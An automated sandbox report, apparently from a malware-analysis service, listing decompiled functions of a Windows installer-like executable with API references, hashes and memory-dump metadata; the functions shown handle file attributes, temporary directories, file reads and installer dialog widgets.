Instruction ID: e615d4ce70e2a600ad3370b8a7bf294de68ab1b424622093f8f4c5f34a5113e1
Opcode Fuzzy Hash: 5340b84021e5d080a0f841e0942d03c921a309eaf12029fe197c00c0f40f89c7
Instruction Fuzzy Hash: D5D09E31658301AFEF098F20DD1AF2EBBA2EB84B01F10962CB646940E0D6715C59DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405850, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405850(CHAR* _a4) {
				signed char _t3;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t3;
			}

0x00405854
0x0040585d
0x00000000
0x00405866
0x0040586c

APIs

GetFileAttributesA.KERNELBASE(?,0040565B,?,?,?), ref: 00405854
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405866

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction ID: 81e3be7da977fa0fdb855dbc2a497946ad1e8e9610c44c99cc48e92da118c7e0
Opcode Fuzzy Hash: 526d85b860984864a1b6eb1eb54cd64df673d9b311570f6054ba349a806b51eb
Instruction Fuzzy Hash: C2C00271808501AAD6016B34EE0D81F7B66EB54321B148B25F469A01F0C7315C66DA2A

Uniqueness

Uniqueness Score: -1.00%

Function 004053C3, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004053C3(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x004053c9
0x004053d1
0x00000000
0x004053d7
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004030EE,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 004053C9
GetLastError.KERNEL32 ref: 004053D7

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 6b45de36f316d487aa01e9413b839baa5bb3cf32c01ac4838d60d751b980a7e6
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: E0C04C30619642DBD7105B31ED08B177E60EB50781F208935A506F11E0D6B4D451DD3E

Uniqueness

Uniqueness Score: -1.00%

Function 00403081, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403081(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403085
0x00403098
0x004030a0
0x00000000
0x004030a7
0x00000000
0x004030a9

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EDA,000000FF,00000004,00000000,00000000,00000000), ref: 00403098

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction ID: e4cef5105026143dd13b930ce46becb45ea6c66ba88fb4286e933b642882ba15
Opcode Fuzzy Hash: 27fbe12f246225e3c312bde4903856853e362ca19ec2099a42773af8ab92d4e2
Instruction Fuzzy Hash: F3E08631211118FBDF209E51EC00A973B9CDB04362F008032B904E5190D538DA10DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004030B3, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030B3(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x004030c1
0x004030c7

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E1C,0003ADE4), ref: 004030C1

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction ID: aafe5e0ddee8b519ffd98e4e857b28c3b9165386d483fecacc2863ad1570d206
Opcode Fuzzy Hash: b482a8c56bd79b67497ba547cc3d1d0f84b07fc9ac7ac5f50d4e9ed509354c89
Instruction Fuzzy Hash: D6B01231544200BFDB214F00DF06F057B21B79C701F208030B340380F082712430EB1E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC2, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404FC2(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				unsigned int _t93;
				int _t94;
				int _t95;
				long _t98;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423724; // 0x0
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404F56, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							__eflags = _a12 - _t154;
							if(_a12 != _t154) {
								goto L20;
							}
							_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
							__eflags = _t87 - _t149;
							_a8 = _t87;
							if(_t87 <= _t149) {
								L37:
								return 0;
							}
							_t160 = CreatePopupMenu();
							AppendMenuA(_t160, _t149, 1, E00405BBA(_t149, _t154, _t160, _t149, 0xffffffe1));
							_t92 = _a16;
							__eflags = _t92 - 0xffffffff;
							if(_t92 != 0xffffffff) {
								_t150 = _t92;
								_t93 = _t92 >> 0x10;
								__eflags = _t93;
								_t94 = _t93;
							} else {
								GetWindowRect(_t154,  &_v28);
								_t150 = _v28.left;
								_t94 = _v28.top;
							}
							_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
							_t162 = 1;
							__eflags = _t95 - 1;
							if(_t95 == 1) {
								_v60 = _t149;
								_v48 = 0x420538;
								_v44 = 0xfff;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t98 = SendMessageA(_v8, 0x102d, _a4,  &_v68);
									__eflags = _a4 - _t149;
									_t162 = _t162 + _t98 + 2;
								} while (_a4 != _t149);
								OpenClipboard(_t149);
								EmptyClipboard();
								_t101 = GlobalAlloc(0x42, _t162);
								_a4 = _t101;
								_t163 = GlobalLock(_t101);
								do {
									_v48 = _t163;
									_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
									 *_t164 = 0xa0d;
									_t163 = _t164 + 2;
									_t149 = _t149 + 1;
									__eflags = _t149 - _a8;
								} while (_t149 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L37;
						}
						__eflags =  *0x42370c - _t149; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x423f48, 8);
							__eflags =  *0x423fcc - _t149; // 0x0
							if(__eflags == 0) {
								E00404E84( *((intOrPtr*)( *0x41fd08 + 0x34)), _t149);
							}
							E00403E2D(1);
							goto L25;
						}
						 *0x41f900 = 2;
						E00403E2D(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403EBB(_a8, _a12, _a16);
						}
						ShowWindow( *0x423710, _t149);
						ShowWindow(_t154, 8);
						E00403E89(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423f50; // 0x6f2508
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423710 = GetDlgItem(_a4, 0x403);
				 *0x423708 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423724 = _t127;
				_v8 = _t127;
				E00403E89( *0x423710);
				 *0x423714 = E00404726(4);
				 *0x42372c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403E54(_a4);
				if(( *0x423f58 & 0x00000003) != 0) {
					ShowWindow( *0x423710, _t149);
					if(( *0x423f58 & 0x00000002) != 0) {
						 *0x423710 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403E89( *0x423708);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423f58 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404fcb
0x00404fd1
0x00404fda
0x00404fdd
0x0040516e
0x00405175
0x00405199
0x00405199
0x0040519f
0x004051ac
0x004051ca
0x004051ca
0x004051d1
0x00405228
0x00405228
0x0040522c
0x00000000
0x00000000
0x0040522e
0x00405231
0x00000000
0x00000000
0x0040523b
0x00405241
0x00405243
0x00405246
0x0040533f
0x00000000
0x0040533f
0x00405255
0x00405261
0x00405267
0x0040526a
0x0040526d
0x00405282
0x00405285
0x00405285
0x00405288
0x0040526f
0x00405274
0x0040527a
0x0040527d
0x0040527d
0x00405298
0x004052a0
0x004052a1
0x004052a3
0x004052ac
0x004052af
0x004052b6
0x004052bd
0x004052c5
0x004052c5
0x004052d3
0x004052d9
0x004052dc
0x004052dc
0x004052e3
0x004052e9
0x004052f2
0x004052f9
0x00405302
0x00405304
0x00405307
0x00405316
0x00405318
0x0040531e
0x0040531f
0x00405320
0x00405320
0x00405328
0x00405333
0x00405339
0x00405339
0x00000000
0x004052a3
0x004051d3
0x004051d9
0x00405209
0x0040520b
0x00405211
0x0040521c
0x0040521c
0x00405223
0x00000000
0x00405223
0x004051dd
0x004051e7
0x00000000
0x004051ae
0x004051ae
0x004051b4
0x004051ec
0x00000000
0x004051f5
0x004051bd
0x004051c2
0x004051c5
0x00000000
0x004051c5
0x004051ac
0x00404fe3
0x00404fe7
0x00404ff0
0x00404ff7
0x00404ffa
0x00404ffd
0x00405000
0x00405001
0x00405002
0x0040501b
0x0040501e
0x00405028
0x00405037
0x0040503f
0x00405047
0x0040504c
0x0040504f
0x0040505b
0x00405064
0x0040506d
0x00405090
0x00405096
0x004050a7
0x004050ac
0x004050ba
0x004050c8
0x004050c8
0x004050cd
0x004050db
0x004050db
0x004050e0
0x004050e3
0x004050e8
0x004050f4
0x004050fd
0x0040510a
0x00405119
0x0040510c
0x00405111
0x00405111
0x00405125
0x00405125
0x00405139
0x00405142
0x0040514b
0x0040515b
0x00405167
0x00405167
0x00000000

APIs

GetDlgItem.USER32 ref: 00405021
GetDlgItem.USER32 ref: 00405030
GetClientRect.USER32 ref: 0040506D
GetSystemMetrics.USER32 ref: 00405075
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405096
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004050A7
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 004050BA
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 004050C8
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050DB
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004050FD
ShowWindow.USER32(?,00000008), ref: 00405111
GetDlgItem.USER32 ref: 00405132
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405142
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040515B
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 00405167
GetDlgItem.USER32 ref: 0040503F

Part of subcall function 00403E89: SendMessageA.USER32(00000028,?,00000001,00403CBA), ref: 00403E97

GetDlgItem.USER32 ref: 00405184
CreateThread.KERNEL32 ref: 00405192
CloseHandle.KERNEL32(00000000), ref: 00405199
ShowWindow.USER32(00000000), ref: 004051BD
ShowWindow.USER32(00000000,00000008), ref: 004051C2
ShowWindow.USER32(00000008), ref: 00405209
SendMessageA.USER32(00000000,00001004,00000000,00000000), ref: 0040523B
CreatePopupMenu.USER32 ref: 0040524C
AppendMenuA.USER32 ref: 00405261
GetWindowRect.USER32 ref: 00405274
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405298
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052D3
OpenClipboard.USER32(00000000), ref: 004052E3
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 004052E9
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F2
GlobalLock.KERNEL32 ref: 004052FC
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405310
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405328
SetClipboardData.USER32 ref: 00405333
CloseClipboard.USER32 ref: 00405339

Strings

{, xrefs: 00405228

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction ID: 6929f331228a41c4e1f6bf5049925f100d3ed94cd800429e98060a15954be78d
Opcode Fuzzy Hash: 2304b148e9a21fd8fd2dbd7aea04fbfc66f4e7d68f979f8d2529fbafd725d49b
Instruction Fuzzy Hash: 6DA13AB1900208BFDB119F60DD89AAE7F79FB44355F00813AFA05BA1A0C7795E41DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004047D3, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004047D3(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				intOrPtr _t183;
				int _t189;
				int _t196;
				intOrPtr _t198;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				intOrPtr _t231;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				signed int _t242;
				signed int _t245;
				signed int _t247;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				signed int* _t284;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				int _t294;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				intOrPtr _t309;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;
				void* _t328;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423f68; // 0x6f26b4
				_t320 = SendMessageA;
				_v8 = _t182;
				_t183 =  *0x423f50; // 0x6f2508
				_t315 = 0;
				_v32 = _t280;
				_v20 = _t183 + 0x94;
				if(_a8 != 0x110) {
					L23:
					__eflags = _a8 - 0x405;
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					__eflags = _a8 - 0x4e;
					if(_a8 == 0x4e) {
						L28:
						__eflags = _a8 - 0x413;
						_v16 = _t289;
						if(_a8 == 0x413) {
							L30:
							__eflags =  *0x423f59 & 0x00000002;
							if(( *0x423f59 & 0x00000002) != 0) {
								L41:
								__eflags = _v16 - _t315;
								if(_v16 != _t315) {
									_t232 = _v16;
									__eflags =  *((intOrPtr*)(_t232 + 8)) - 0xfffffe6e;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									__eflags =  *((intOrPtr*)(_t233 + 8)) - 0xfffffe6a;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										__eflags =  *((intOrPtr*)(_t233 + 0xc)) - 2;
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											_t284 =  *(_t233 + 0x5c) * 0x418 + _t280 + 8;
											 *_t284 =  *_t284 & 0xffffffdf;
											__eflags =  *_t284;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							__eflags = _a8 - 0x413;
							if(_a8 == 0x413) {
								L33:
								__eflags = _a8 - 0x413;
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E00404753(_v8, _a8 != 0x413);
								__eflags = _t240 - _t315;
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									__eflags = _t289 & 0x00000010;
									if((_t289 & 0x00000010) == 0) {
										__eflags = _t289 & 0x00000040;
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
											__eflags = _t298;
										} else {
											_t300 = _t289 ^ 0x00000080;
											__eflags = _t300;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t242 =  *0x423f58; // 0x80
										_t289 = 1;
										_a8 = 0x40f;
										_t245 =  !_t242 >> 0x00000008 & 1;
										__eflags = _t245;
										_a12 = 1;
										_a16 = _t245;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							__eflags =  *((intOrPtr*)(_t289 + 8)) - 0xfffffffe;
							if( *((intOrPtr*)(_t289 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						}
						__eflags =  *((intOrPtr*)(_t289 + 4)) - 0x408;
						if( *((intOrPtr*)(_t289 + 4)) != 0x408) {
							goto L48;
						}
						goto L30;
					} else {
						__eflags = _a8 - 0x413;
						if(_a8 != 0x413) {
							L48:
							__eflags = _a8 - 0x111;
							if(_a8 != 0x111) {
								L56:
								__eflags = _a8 - 0x200;
								if(_a8 == 0x200) {
									SendMessageA(_v8, 0x200, _t315, _t315);
								}
								__eflags = _a8 - 0x40b;
								if(_a8 == 0x40b) {
									_t220 =  *0x420514;
									__eflags = _t220 - _t315;
									if(_t220 != _t315) {
										ImageList_Destroy(_t220);
									}
									_t221 =  *0x42052c;
									__eflags = _t221 - _t315;
									if(_t221 != _t315) {
										GlobalFree(_t221);
									}
									 *0x420514 = _t315;
									 *0x42052c = _t315;
									 *0x423fa0 = _t315;
								}
								__eflags = _a8 - 0x40f;
								if(_a8 != 0x40f) {
									L86:
									__eflags = _a8 - 0x420;
									if(_a8 == 0x420) {
										__eflags =  *0x423f59 & 0x00000001;
										if(( *0x423f59 & 0x00000001) != 0) {
											__eflags = _a16 - 0x20;
											_t189 = (0 | _a16 == 0x00000020) << 3;
											__eflags = _t189;
											_t316 = _t189;
											ShowWindow(_v8, _t316);
											ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
										}
									}
									goto L89;
								} else {
									E004011EF(_t289, _t315, _t315);
									__eflags = _a12 - _t315;
									if(_a12 != _t315) {
										E0040140B(8);
									}
									__eflags = _a16 - _t315;
									if(_a16 == _t315) {
										L73:
										E004011EF(_t289, _t315, _t315);
										__eflags =  *0x423f6c - _t315; // 0x2
										_v32 =  *0x42052c;
										_t196 =  *0x423f68; // 0x6f26b4
										_v60 = 0xf030;
										_v16 = _t315;
										if(__eflags <= 0) {
											L84:
											InvalidateRect(_v8, _t315, 1);
											_t198 =  *0x42371c; // 0x6f84cc
											__eflags =  *((intOrPtr*)(_t198 + 0x10)) - _t315;
											if( *((intOrPtr*)(_t198 + 0x10)) != _t315) {
												E0040470E(0x3ff, 0xfffffffb, E00404726(5));
											}
											goto L86;
										} else {
											_t142 = _t196 + 8; // 0x6f26bc
											_t281 = _t142;
											do {
												_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
												__eflags = _t202 - _t315;
												if(_t202 != _t315) {
													_t291 =  *_t281;
													_v68 = _t202;
													__eflags = _t291 & 0x00000001;
													_v72 = 8;
													if((_t291 & 0x00000001) != 0) {
														_t151 =  &(_t281[4]); // 0x6f26cc
														_v72 = 9;
														_v56 = _t151;
														_t154 =  &(_t281[0]);
														 *_t154 = _t281[0] & 0x000000fe;
														__eflags =  *_t154;
													}
													__eflags = _t291 & 0x00000040;
													if((_t291 & 0x00000040) == 0) {
														_t206 = (_t291 & 0x00000001) + 1;
														__eflags = _t291 & 0x00000010;
														if((_t291 & 0x00000010) != 0) {
															_t206 = _t206 + 3;
															__eflags = _t206;
														}
													} else {
														_t206 = 3;
													}
													_t294 = (_t291 >> 0x00000005 & 0x00000001) + 1;
													__eflags = _t294;
													_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
													SendMessageA(_v8, 0x1102, _t294, _v68);
													SendMessageA(_v8, 0x110d, _t315,  &_v72);
												}
												_v16 = _v16 + 1;
												_t281 =  &(_t281[0x106]);
												__eflags = _v16 -  *0x423f6c; // 0x2
											} while (__eflags < 0);
											goto L84;
										}
									} else {
										_t282 = E004012E2( *0x42052c);
										E00401299(_t282);
										_t217 = 0;
										_t289 = 0;
										__eflags = _t282 - _t315;
										if(_t282 <= _t315) {
											L72:
											SendMessageA(_v12, 0x14e, _t289, _t315);
											_a16 = _t282;
											_a8 = 0x420;
											goto L73;
										} else {
											goto L69;
										}
										do {
											L69:
											_t309 = _v20;
											__eflags =  *((intOrPtr*)(_t309 + _t217 * 4)) - _t315;
											if( *((intOrPtr*)(_t309 + _t217 * 4)) != _t315) {
												_t289 = _t289 + 1;
												__eflags = _t289;
											}
											_t217 = _t217 + 1;
											__eflags = _t217 - _t282;
										} while (_t217 < _t282);
										goto L72;
									}
								}
							}
							__eflags = _a12 - 0x3f9;
							if(_a12 != 0x3f9) {
								goto L89;
							}
							__eflags = _a12 >> 0x10 - 1;
							if(_a12 >> 0x10 != 1) {
								goto L89;
							}
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							__eflags = _t227 - 0xffffffff;
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							__eflags = _t283 - 0xffffffff;
							if(_t283 == 0xffffffff) {
								L54:
								_t283 = 0x20;
								L55:
								E00401299(_t283);
								SendMessageA(_a4, 0x420, _t315, _t283);
								_a12 = 1;
								_a16 = _t315;
								_a8 = 0x40f;
								goto L56;
							}
							_t231 = _v20;
							__eflags =  *((intOrPtr*)(_t231 + _t283 * 4)) - _t315;
							if( *((intOrPtr*)(_t231 + _t283 * 4)) != _t315) {
								goto L55;
							}
							goto L54;
						}
						goto L28;
					}
				} else {
					 *0x423fa0 = _a4;
					_t247 =  *0x423f6c; // 0x2
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42052c = GlobalAlloc(0x40, _t247 << 2);
					_t250 = LoadBitmapA( *0x423f40, 0x6e);
					 *0x420520 =  *0x420520 | 0xffffffff;
					_v24 = _t250;
					 *0x420528 = SetWindowLongA(_v8, 0xfffffffc, E00404DD4);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420514 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420514);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E00405BBA(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403E54(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403E54(_a4);
					_t318 = 0;
					_t288 = 0;
					_t328 =  *0x423f6c - _t318; // 0x2
					if(_t328 <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
